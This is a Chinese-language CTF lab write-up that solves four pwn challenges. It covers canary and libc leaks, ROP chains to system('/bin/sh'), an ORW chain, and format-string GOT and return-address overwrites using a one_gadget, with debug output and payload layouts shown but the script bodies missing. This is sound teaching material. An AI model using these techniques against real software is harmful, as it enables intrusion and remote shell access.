Attention!
该界面内提到的任何代码与原程序都可在 https://github.com/nepl1t/nepl1t.github.io/tree/master/assets 内找到
Task1 ropbasic
Preparation
首先 checksec
一下程序,保护全开。 ROPgadget 只能找到一个 gadget:
❯ ROPgadget --binary ./ropbasic --only "pop|ret" Gadgets information ============================================================ 0x00000000000011d3 : pop rbp ; ret 0x000000000000101a : ret Unique gadgets found: 2
嗯,至少找到一个 rbp_ret_addr 是 0x00000000000011d3
了。
反编译一下:
|
|
main()
的逻辑十分简单,每次将 s
开始的连续 0x100
个内存清零,然后输出,read()
0x1000个字节。肯定有栈溢出。
s
相对 rbp 的偏移地址为 0x110
,考虑到程序开了 Canary,因此当务之急就是将其泄漏出来,否则栈溢出泄漏 libc 就无从说起。
Leaking Canary
根据代码知道,使用 gdb 停到 call memset 时:
0x555555555264 lea rax, [rbp - 0x110] RAX => 0x7fffffffd9f0 ◂— 0 0x55555555526b mov edx, 0x100 EDX => 0x100 0x555555555270 mov esi, 0 ESI => 0 0x555555555275 mov rdi, rax RDI => 0x7fffffffd9f0 ◂— 0 ►0x555555555278 call memset@plt <memset@plt> s: 0x7fffffffd9f0 ◂— 0 c: 0 n: 0x100
然后查询 rdi 与 rsp 的值:
*RDI 0x7fffffffd9f0 ◂— 0 RSP 0x7fffffffd9e0 ◂— 0
那么, 从 rdi (0x7fffffffd9f0)开始依次读取内存数据到 rsp (0x7fffffffdb00)的位置:
pwndbg> x /40gx 0x7fffffffd9f0 0x7fffffffd9f0: 0x0000000000000000 0x0000000000000000 0x7fffffffda00: 0x0000000000000000 0x0000000000000000 0x7fffffffda10: 0x0000000000000000 0x0000000000000000 0x7fffffffda20: 0x0000000000000000 0x0000000000000000 0x7fffffffda30: 0x0000000000000000 0x0000000000000000 0x7fffffffda40: 0x0000000000000000 0x0000000000000000 0x7fffffffda50: 0x0000000000000000 0x0000000000000000 0x7fffffffda60: 0x0000000000000000 0x0000000000000000 0x7fffffffda70: 0x0000000000000000 0x0000000000000000 0x7fffffffda80: 0x0000000000000000 0x0000000000000000 0x7fffffffda90: 0x0000000000000000 0x0000000000000000 0x7fffffffdaa0: 0x0000000000000000 0x0000000000000000 0x7fffffffdab0: 0x0000000000000000 0x0000000000000000 0x7fffffffdac0: 0x0000000000000000 0x0000000000000000 0x7fffffffdad0: 0x0000000000000000 0x0000000000000000 0x7fffffffdae0: 0x0000000000000000 0x0000000000000000 0x7fffffffdaf0: 0x0000000000000000 0xe719bae42bbeac00 0x7fffffffdb00: 0x0000000000000001 0x00007ffff7c29d90 0x7fffffffdb10: 0x0000000000000000 0x0000555555555230 0x7fffffffdb20: 0x0000000100000000 0x00007fffffffdc18 pwndbg>
考虑到 memset()
函数在这里只清空了 0x100 的数据 (一直到 0x7fffffffdaf0: 0x0000000000000000
) ,而 0x7fffffffdaf8: 0xe719bae42bbeac00
,这是一个 0x00 作结尾的数据,可以推测这就是 Canary,关于 s
的偏移值为 0x108。
|
|
运行效果如下:
[DEBUG] Received 0x7 bytes: b'input> ' [DEBUG] Sent 0x109 bytes: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB' [DEBUG] Received 0x119 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000100 41 41 41 41 41 41 41 41 42 9f 7e 4b 15 b6 3e f9 │AAAA│AAAA│B·~K│··>·│ 00000110 01 0a 69 6e 70 75 74 3e 20 │··in│put>│ │ 00000119 [*] Canary:0xf93eb6154b7e9f00
得到 Canary 为 0xf93eb6154b7e9f00
程序没有检测到栈溢出,而是正常退出,这说明 Canary 成功泄漏并绕过了。
Leaking libc addr
由于开了 PIE,每次运行的基址都不一样,所以每次栈溢出 ROP 之前,都需要得到 libc 的地址。通过 objdump -d
可以发现程序里确实是有 libc_start_main()
的符号,我们可以找到它的地址,再减去其在 libc 中的偏移地址,从而得到 libc 地址。
首先,动态调试时(此时正在 read()
函数内)看到如下信息:
─────────────────────────[ BACKTRACE ]────────────────────────── ► 0 0x55555555526b 1 0x7ffff7c29d90 2 0x7ffff7c29e40 __libc_start_main+128 3 0x555555555125
因此可以判定, 0x55555555526b
(作为 read()
函数的返回地址)位于 main()
内,因此 0x7ffff7c29d90
就是 main()
函数执行完后的返回地址。
注意到 0x7ffff7c29e40
( 相对 0x7ffff7c29d90
是 0xb0
)相对于 __libc_start_main()
的偏移值是 0x80
(128) ,因此可以得到 main()
的返回地址相对于 __libc_start_main()
的偏移值是 0x30
。通过前面栈溢出得到 main()
的返回地址后,我们就可以得到__libc_start_main()
的实际地址。
通过如下的 python 脚本,可以得到 libc 的地址:
|
|
运行效果如下:
[DEBUG] Sent 0x118 bytes: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBCCDDEEFFGGHH' [DEBUG] Received 0x126 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000100 41 41 41 41 41 41 41 41 41 41 42 42 43 43 44 44 │AAAA│AAAA│AABB│CCDD│ 00000110 45 45 46 46 47 47 48 48 90 9d c2 42 38 77 0a 69 │EEFF│GGHH│···B│8w·i│ 00000120 6e 70 75 74 3e 20 │nput│> │ 00000126 b'\x90\x9d\xc2B8w\x00\x00' [*] waitwhat? 0x773842c29d90 [*] main_return_addr: 0000773842C29D90 [*] __libc_start_main_addr:0000773842C29DC0 [*] libc_addr: 0000773842C00000
得到 libc 的地址为 0x0000773842C00000
Getting system shell
已经知道了 libc 的地址,那就从 libc 里面找 gadget:ROPgadget --binary ./libc.so.6 --only "pop|ret"
需要找一个 rdi_ret 与一个单独的 ret ,但是单独的 ret 空转的原因,上网说是因为ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,所以需要栈对齐 ,但我并没有看懂。无论如何,在 libc 里面找到了这样两个 gadgets:
0x000000000002a3e5 : pop rdi ; ret 0x0000000000029139 : ret
然后像下面这样构造 payload ,就可以直接获取 shell 了:
|
|
运行效果如下:
成功获得 flag 为 AAA{oh_R0P_1s_b4b@b4b@s1c~}
Approach 2 ORW
ORW 即 open(file, olfag)
read(fd, buf, n_bytes)
与 write(fd, buf, n_bytes)
。
所以要用 rdi 对应文件地址 file
用于 open, 对应 fd
项用于 read 与 write:在ORW中,我们需要设置 read 的 fd
为 3,表示从文件中读取,write的 fd
还是如常,依旧为 1 ;
用 rsi 对应 oflag
用于 open (由于只用读取就行了所以取 0 ),对应 buf
用于 read 与 write;
最后用 rdx 对应 n_bytes
用于 read 与 write 。
我们先前已经找到了 pop_rdi_ret
的 gadget了,接着找 rsi 与 rdx 的 :
|
|
所以对于调用 open(rdi -> "./flags.txt", rsi -> 0)
,我们可以将栈写成这个样子:
pop_rdi_ret_addr | "./flags.txt" | pop_rsi_ret | 0x00000000 | open_addr |
---|
对于调用 read(rdi -> 3, rsi -> oflag)
,
Task2 onerop
本题目的完整代码为 attachment 中的 pwnlab2_task2_code.py
Preparation & Leaking libc addr
checksec
一下,没有开 PIE 与 Canary,感觉比第一题友好多了,用 IDA 编译出来的 main()
也是十分简单:
|
|
0x100
长的内存却给了 0x1000
的读入,妥妥的栈溢出。
用 ROPgadget 一看,甚至题目本身就有一些好用的 gadget:
0x00000000004011c5 : pop rdi ; ret 0x000000000040101a : ret 0x0000000000401181 : retf
再者,用 seccomp-tools dump
查看,发现程序没有开启沙箱,可以考虑 get shell 了。现在要做的就是泄漏 libc 基址,然后使用 libc 的 system(/bin/sh)
获取 shell 控制权。
同时,使用 gdb 动态调试,在 Backtrace 栏中发现
─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► 0 0x40131a main+336 1 0x7ffff7c2a1ca __libc_start_call_main+122 2 0x7ffff7c2a28b __libc_start_main+139 3 0x4010b5 _start+37
所以一开始的思路,就是利用栈溢出让 puts()
函数输出 main()
的返回地址(关于 __libc_start_call_main
的偏移地址是 +122),而 __libc_start_call_main
相对于 __libc_start_main
的偏移地址是 -0xB0 ,可以因此求出 __libc_start_main
的实际地址,然后求得 libc 的地址。但是由于没有循环,且正常流程只能进行一次输入,所以首次输入(尚不知道 libc 地址)就要构造 ROP 链使得 main()
返回到它自身,然后在第二次输入(此时已经知道 libc 地址)构造 ROP 链以获取 shell 控制权。
看起来很好,但是失败了——最后程序没有像设想的打开 shell,而是报段错误退出。为什么呢? Debug 后发现,我们在第一次输入时为了让 main()
返回到它自身,肯定要把原来 main()
的返回地址覆盖掉,所以我们用 puts()
函数输出的,其实是 main()
的地址,而不是__libc_start_call_main + 122
,这个思路错了。
既然不能泄漏 main()
原来的返回地址,那就泄漏 main()
调用过的函数。看了一堆作题笔记后,发现 puts()
比较好弄:
我们第一次输入前,先求 puts()
的 plt 与 got 地址(因为 glibc 的延迟绑定机制),然后通过第一次输入把栈覆写成这个形式:
pop_rdi_ret_addr | puts_got | puts_plt | main_addr |
---|
这样,我们在第一次输出后,main()
函数 return (执行第一个 ret
时 rbp
指向 pop_rdi_ret_addr
)到 pop rdi; ret;
的 gadget, 就可以将 puts()
的实际地址(在 GOT 表内,所以是 puts_got
)作为参数传给 rdi ,然后再次 return (执行第二个 ret
时 rbp
指向 puts_plt
)到 puts()
函数从而输出它自己的实际地址,然后再 return 到 main()
函数。我们就可以用 puts()
函数的地址求 libc 的地址了。
代码如下:
|
|
效果如下:
可以看到获取的 libc 地址为 0x00007F6506C9D000
Getting system shell
最后,按如下构造 payload ,可以获取 shell:
|
|
运行后效果如下:
得到 flag 为 AAA{r0p_oN3_5Im3_ROP_f0r3ve3}
Task3 onefsb
本题目的完整代码为 attachment 中的 pwnlab2_task3_code.py
Preparation
checksec 一下,是关闭了 PIE 保护,同时打开的 Partial RELRO 的 64 位程序,注意到开了 Canary,栈溢出要小心点。
IDA 反编译一下,main()
基本逻辑是这样的:
|
|
做这题的时候,我首先想到利用 FSB Bug ,使用类似于前两道 Task 的思路,先泄漏 main()
的返回地址从而获得 libc 地址,如果不方便获得 main()
的返回地址,就想办法泄漏其他函数的地址,然后利用 ROP 将程序 return 到 system('/bin/sh')
上,但是实际操作时遇到了只有一次利用 FSB 的机会,若劫持控制流就不能泄漏 main()
的返回地址 ,然后是 printf()
使用 %u
写入时导致段错误,以及直接写 ROP 链太麻烦等各种困难
然后就是(请求场外援助 sad 后得到的 hint) Partial RELRO ,它允许我们能够覆写 GOT 表,可不可以获取 system
的 GOT 表地址将其覆盖到 main()
要调用的一个函数在 GOT 表上的地址从而达到调用 system("/bin/sh")
的机会?结果也不行,一次利用 FSB 的限制不能让我做到这一点。那能不能用覆写 GOT 表从而做到无限利用 FSB ? 等等,main()
结束前怎么有一个 puts("bye")
,豁然开朗了:把 puts_got
变成 main()
,这样就让做完恶作剧的小鬼程序被狠狠脑控定身任我为非作歹 😡😡😡 ;至于 ROP 链,换成一个 one_gadget ,在这里找到的是这个:
0xebc85 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL || r10 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp
在第一次 payload,要做的就是:劫持控制流,将 puts_got
覆写成 main()
,让程序想 “bye” 却被我狠狠脑控当场拿下
第二次,输出 printf()
地址从而获取 libc 地址,从而获得 one_gadget 的地址
第三次,就是将 puts_got
覆写成 one_gadget ,对我言听计从 😤😤😤
Getting offsets
首先打开程序,确定格式化字符串的相对偏移。打开程序,输入 AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
,结果如下:
可以看到, AAAAAAAA
,即 0x4141414141414141
位于格式化字符串后的第六个偏移。
使用 gdb 调试, 输入 AAAAAAAA
后断点在 printf()
内,然后看栈内容,结果如下:
pwndbg> x /40gx $rsp 0x7fffffffdac8: 0x000000000040139e 0x4141414141414141 0x7fffffffdad8: 0x000000000000000a 0x0000000000000000 0x7fffffffdae8: 0x0000000000000000 0x0000000000000000 0x7fffffffdaf8: 0x0000000000000000 0x0000000000000000 0x7fffffffdb08: 0x0000000000000000 0x0000000000000000 0x7fffffffdb18: 0x0000000000000000 0x0000000000000000 0x7fffffffdb28: 0x0000000000000000 0x0000000000000000 0x7fffffffdb38: 0x0000000000000000 0x0000000000000000 0x7fffffffdb48: 0x0000000000000000 0x0000000000000000 0x7fffffffdb58: 0x0000000000000000 0x0000000000000000 0x7fffffffdb68: 0x0000000000000000 0x0000000000000000 0x7fffffffdb78: 0x0000000000000000 0x0000000000000000 0x7fffffffdb88: 0x0000000000000000 0x0000000000000000 0x7fffffffdb98: 0x0000000000000000 0x0000000000000000 0x7fffffffdba8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbb8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd8: 0xf53edbb42f9f1d00 0x0000000000000001 0x7fffffffdbe8: 0x00007ffff7c29d90 0x0000000000000000 0x7fffffffdbf8: 0x00000000004011fd 0x0000000100000000 pwndbg> p $rbp $3 = (void *) 0x7fffffffdbe0 pwndbg> p $rsp $4 = (void *) 0x7fffffffdac8
可以看到,输入的格式字符串 AAAAAAAA
位于栈的第二位,由于此时位于 printf()
函数内, 栈的最顶部 rbp 指向的是 printf()
的返回地址,所以不算做参数,同时由于是 64 位程序,前六个参数在寄存器内,所以格式字符串就是 printf()
的第七个参数,也就是格式化字符串( rdi )后的第六个偏移。
Hijacking control flow
首先就是拿下 puts()
,像这样构建 payload :
|
|
运行,结果如下:
Leaking libc address
有了前面两道 Task 的经验,这次 leak 可以算很顺利了:
|
|
运行结果如下:
可以看到最终得到的 libc 地址为 0x00007F3EDFC00000
Getting system shell
|
|
运行效果如下:
成功获取 shell 的控制权。最终得到 flag 为 AAA{i_l0v3_fmtstr_payload_H0p3_u_Loveit_2}
,然而我自我感觉也许可能不会很 love it :D 卡了我两天(怨)
Task4 fsb-stack
本题目的完整代码为 attachment 中的 pwnlab2_task4_code.py
Preparation
checksec
一下,除了 Canary 以外保护全开(在 IDA 里反汇编也没看到 stack_check_fail )。 main()
反编译后的代码如下:
|
|
自带无限次使用次数的 FSB 。打开程序,输入 AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
确认格式字符串偏移,结果如下:
可以看到 AAAAAAAA
位于格式字符串后第六个偏移。
目前的想法就是,通过 printf()
泄漏出 main()
的返回地址得到 libc 地址。
但是打开了 FULL RELRO ,不能覆写 GOT 表,所以试试 ROP,利用格式字符串任意位置泄漏栈地址,然后利用任意写将 printf()
的返回地址设为 one_gadget。
Leaking libc address
通过 gdb 动态调试,断点进入 printf()
内,在栈中寻找到 main()
的返回地址相对于格式字符串的偏移位置。首先来看 Backtrace ,确定 printf()
的返回地址为 0x55555555528d
,位于 main()
内,则 main()
的返回地址为 0x7ffff7c29d90
,而 0x7ffff7c29e40
相对 __libc_start_main
的偏移是 +128 ,所以 __libc_start_main
相对 main()
的返回地址 的偏移是 (-0xd90 + 0xe40) - 128 = +0x30 。
─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► 0 0x7ffff7c606f0 printf 1 0x55555555528d 2 0x7ffff7c29d90 3 0x7ffff7c29e40 __libc_start_main+128 4 0x5555555550e5 ──────────────────────────────────────────────────────────────────────────────── pwndbg>
接下来,在栈中找到 0x7ffff7c29d90
相对于格式字符串的偏移位置:
──────────────────────────────────────────────────────────────────────────────── pwndbg> x /100gx $rsp 0x7fffffffd9c8: 0x000055555555528d 0x7944734973696854 0x7fffffffd9d8: 0x7375446c65674e41 0x000000000a726574 0x7fffffffd9e8: 0x0000000000000000 0x0000000000000000 0x7fffffffd9f8: 0x0000000000000000 0x0000000000000000 < Skipped > 0x7fffffffdbc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd8: 0x5b70ffa5294da700 0x0000000000000001 0x7fffffffdbe8: 0x00007ffff7c29d90 0x0000000000000000 0x7fffffffdbf8: 0x00005555555551f0 0x0000000100000000 < Skipped > 0x7fffffffdcb8: 0x00005555555550c0 0x00007fffffffdcf0 0x7fffffffdcc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdcd8: 0x00005555555550e5 0x00007fffffffdce8 pwndbg>
可以看到, 0x00007ffff7c29d90
位于 0x7fffffffdbe8
处,而 rsp 指向 0x7fffffffd9c8
,所以在栈中是第 69 位,因此就是格式字符串的第 73 位参数。事实上,若在调试时输入 %73$016llx
,程序确实会输出 00007ffff7c29d90
,符合要求。
编写下面的 python 代码以获取 libc 基址:
|
|
运行结果如下:
获得 libc 地址为 0x000079FB95A00000
Leaking stack address
由于栈之间的相对偏移应该不变,所以应该可以通过找到一个链:栈上一个位置 A ,其指向栈的另一个位置 B ,找到 A 、 B 其关于格式字符串的偏移位置。然后利用 printf() %x
向 B 的地址漏出来,因此就可以找出 rsp 的地址,最后就可以将 printf_ret_addr 改写成 one_gadget。
在一次动态调试中,我注意到了这样一个可以存在的链(注意红色字):
pwndbg> x /110gx $rsp 0x7fffffffd9c8: 0x000055555555528d 0x654a6568546e7552 0x7fffffffd9d8: 0x0000000a736c6577 0x0000000000000000 < skipped > 0x7fffffffdbc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd8: 0xdf6e9e6f3d379b00 0x0000000000000001 0x7fffffffdbe8: 0x00007ffff7c29d90 0x0000000000000000 0x7fffffffdbf8: 0x00005555555551f0 0x0000000100000000 0x7fffffffdc08: 0x00007fffffffdcf8 0x0000000000000000 0x7fffffffdc18: 0x8843981ffe157fda 0x00007fffffffdcf8 < skipped > 0x7fffffffdce8: 0x000000000000001c 0x0000000000000001 0x7fffffffdcf8: 0x00007fffffffe083 0x0000000000000000 0x7fffffffdd08: 0x00007fffffffe0a8 0x00007fffffffe0be 0x7fffffffdd18: 0x00007fffffffe0e7 0x00007fffffffe15b 0x7fffffffdd28: 0x00007fffffffe1b1 0x00007fffffffe1c2 pwndbg>
0x7fffffffdc08
处的内存指向栈的另一处内存 0x00007fffffffdcf8
,而 rsp 指向 0x7fffffffd9c8
,所以 A 在栈中第 73 个位置,是相对格式字符串第 77 个参数,而 B 在栈中第 103 个位置, 相对 rsp 偏移值为 (103 - 1) * 8 = 0x330 。
编写如下 payload 获取 printf()
的返回地址:
|
|
运行效果如下:
获得 printf()
栈基址为 0x00007FFF27F65378
Hijacking printf() return addr & getting system shell
编写如下 payload 以执行 system call shell 并获取flag:
|
|
最终运行结果如下:
获得 flag 为 AAA{3sc@pe_f3Om_wh1l3_1_i5_E4sy}